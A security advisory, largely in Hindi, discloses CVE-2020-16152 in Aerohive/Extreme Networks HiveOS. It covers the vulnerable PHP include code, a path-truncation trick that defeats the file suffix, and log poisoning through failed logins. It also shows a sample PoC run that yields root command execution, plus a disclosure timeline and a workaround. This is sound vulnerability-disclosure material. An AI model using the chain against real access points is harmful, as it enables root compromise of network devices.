
Explanation and PoC for CVE-2020-16152
| उत्पाद विक्रेता | Aerohive Networks / Extreme Networks |
| उत्पाद का नाम | HiveOS / IQ Engine |
| उत्पाद संस्करण | 10.0r8a build-242466 और पुराने पर परीक्षण किया गया |
Aerohive/Extreme Networks HiveOS प्रशासनिक वेब इंटरफ़ेस (NetConfig) LFI के लिए कमजोर है क्योंकि यह PHP के एक पुराने संस्करण का उपयोग करता है जो स्ट्रिंग ट्रंकेशन हमलों के लिए कमजोर है। एक हमलावर लॉग पॉइज़निंग के साथ इसका उपयोग करके कमजोर एक्सेस पॉइंट पर root अधिकार प्राप्त कर सकता है।
एक वर्कअराउंड के रूप में, निम्नलिखित कमांड के साथ वेब इंटरफ़ेस को अक्षम करना संभव है: no system web-server hive-UI enable इस कमजोरी से बचाव के लिए।
_page पैरामीटर जो action/AhBaseAction.class.php5 के कॉल के लिए उपयोग किया जाता है, जैसा कि url /action.php5 द्वारा संदर्भित है, एक PHP क्लास को गतिशील रूप से लोड करने के लिए उपयोग किया जाता है जो एक पेज के लिए उपयोग होता है, जैसा कि हम नीचे दिए गए कोड स्निपेट में देख सकते हैं ($pageName $_POST['_page'] से लिया गया है):
protected function getAccess($pageName,$actionType) {
$filename = $pageName.'Access.class.php5';
$classname = $pageName.'Access';
if (include_once $filename) {
require_once $filename;
return new $classname($this->user,$actionType);
}
...
}
जैसा कि हम देख सकते हैं, इस फ़ाइल नाम के लिए कोई उपसर्ग नहीं है, जिससे मनमानी फ़ाइलों तक पथ को पार करना संभव है। हालांकि चूंकि हमें एक प्रत्यय प्रस्तुत किया गया है, इसलिए किसी भी फ़ाइल को शामिल करना संभव नहीं है। चूंकि एक्सेस पॉइंट पर PHP का संस्करण काफी पुराना है, हम वास्तव में इसके आसपास काम कर सकते हैं (अधिक जानकारी):
$ php-cgi -v
PHP Warning: PHP Startup: Cannot dynamically load sockets.so - dynamic modules are not supported in Unknown on line 0
PHP 5.2.17 (cgi-fcgi) (built: May 28 2020 23:36:34)
Copyright (c) 1997-2010 The PHP Group
Zend Engine v2.2.0, Copyright (c) 1998-2010 Zend Technologies
पथ को पर्याप्त / वर्णों से भरकर हम सुनिश्चित कर सकते हैं कि Access.class.php5 प्रत्यय पूरी तरह से काट दिया गया है और हम मनमानी फ़ाइलों को शामिल करने के लिए स्वतंत्र हैं।
क्योंकि असफल लॉगिन प्रयास /tmp/messages में लॉग किए जाते हैं और प्रस्तुत उपयोगकर्ता नाम शामिल होता है, हम लॉगिन पेज का उपयोग /tmp/messages को पॉइज़न करने के लिए कर सकते हैं और फिर ऊपर सूचीबद्ध LFI हमले के साथ उससे कोड चला सकते हैं।
हालांकि वेबसर्वर स्वयं एक निम्न विशेषाधिकार वाले उपयोगकर्ता के रूप में चल रहा है, hiawatha द्वारा उपयोग किया जाने वाला php-cgi इंस्टेंस वास्तव में root के रूप में चल रहा है, जिसका अर्थ है कि सभी PHP कोड root के रूप में निष्पादित होता है:
$ ps | egrep "php|hiawatha"
2237 root 9980 S /usr/local/bin/php-cgi -b 127.0.0.1:2008
12088 admin 20840 S /usr/local/sbin/hiawatha
$ ./CVE-2020-16152.py 192.168.0.166 'echo -e "\n\n";id' | tail
2020-08-30 13:56:28 notice root: ntpclient: [ntpclient]Set time - Sun Aug 30 13:56:28 GMT+1:00 2020
2020-08-30 13:56:28 notice root: Connect [0.aerohive.pool.ntp.org] successful
2020-08-30 13:56:54 info ah_dcd: application: get track-ip trigger access console request: cancel.
2020-08-30 13:57:00 notice root: ntpclient: [ntpclient]Set time - Sun Aug 30 13:57:00 GMT+1:00 2020
2020-08-30 13:57:00 notice root: Connect [0.aerohive.pool.ntp.org] successful
2020-08-30 13:57:31 notice ah_webui: security: Admin "<
uid=0(root) gid=0(root)
| 2019/02/17 | समस्या Aerohive Networks को रिपोर्ट की गई |
| 2019/02/19 | समस्या की पावती विक्रेता द्वारा प्राप्त हुई, विक्रेता द्वारा वर्कअराउंड सुझाया गया (वेब इंटरफ़ेस अक्षम करें) |
| 2019/02/25 | विक्रेता द्वारा समस्या की पुष्टि |
| 2019/03/18 | Ping? |
| 2019/05/30 | Ping? |
| 2019/06/03 | विक्रेता एक फोन कॉल का सुझाव देता है, फोन विवरण के साथ उत्तर दिया। कोई कॉल प्राप्त नहीं हुआ |
| 2019/08/12 | Ping? विक्रेता ने उत्तर दिया कि समस्या आंतरिक रूप से बढ़ा दी गई है |
| 2019/09/23 | Ping? |
| 2019/09/25 | विक्रेता जवाब देता है कि LFI समस्या अभी तक संबोधित नहीं की गई है |
| 2020/07/30 | पाया गया कि समस्या अभी भी HiveOS 10.0r8a build-242466 में ठीक नहीं हुई है जो 05/2020 की है। CVE आरक्षित किया और 2020/09/01 की प्रकाशन की समय सीमा सूचित की जब तक कि कोई फिक्स सक्रिय रूप से काम नहीं कर रहा हो |
| 2020/09/01 | अभी भी विक्रेता से कोई जवाब नहीं, विवरण और PoC का विमोचन |